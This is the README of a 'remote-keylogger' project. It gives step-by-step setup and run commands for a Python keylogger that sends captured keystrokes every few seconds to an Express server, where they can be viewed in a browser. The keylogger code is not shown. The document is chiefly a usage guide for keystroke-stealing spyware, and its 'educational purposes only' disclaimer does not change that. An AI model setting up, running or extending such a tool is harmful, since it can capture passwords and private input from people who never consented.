This repository contains a keylogger Python script and a simple Express server to capture and display keystrokes.
- Node.js
- npm
- Python 3
- pip
venv
(Python virtual environment)
-
Clone the repository
git clone https://github.com/jimididit/remote-keylogger cd remote-keylogger
-
Setup Express Server
Navigate to the directory containing
server.js
and run the following commands:sudo apt update sudo apt upgrade sudo apt install nodejs sudo apt install npm sudo npm init -y sudo npm install express body-parser
-
Setup Python Keylogger
Navigate to the directory containing
keylogger.py
and create a virtual environment:python3 -m venv venv source venv/bin/activate # On Windows use `venv\Scripts\activate`
Install the required Python packages within the virtual environment:
pip install -r requirements.txt
-
Run the Express Server
Start the Express server by running:
node server.js
-
Run the Keylogger Script
Ensure the virtual environment is activated, then execute the keylogger script with the following command:
python3 keylogger.py 127.0.0.1 8080 10
Here,
127.0.0.1
is the IP address of the server,8080
is the port number, and10
is the time interval (in seconds) for sending keystroke data.
You can also use the setup.py
script to automate the setup process. Ensure the commands.txt
file contains the necessary setup commands. Then, run the setup script:
-
Make sure
commands.txt
contains:sudo apt update sudo apt upgrade sudo apt install nodejs sudo apt install npm sudo npm init -y sudo npm install sudo reboot
-
Run the setup script:
python3 setup.py
After setting up and running both the Express server and the keylogger script, keystrokes will be logged and sent to the server. Open a web browser and navigate to http://127.0.0.1:8080
to view the captured keystrokes.
This project is for educational purposes only. Logging keystrokes can be a significant privacy risk. Ensure you have the proper permissions and consents before using this software on any device.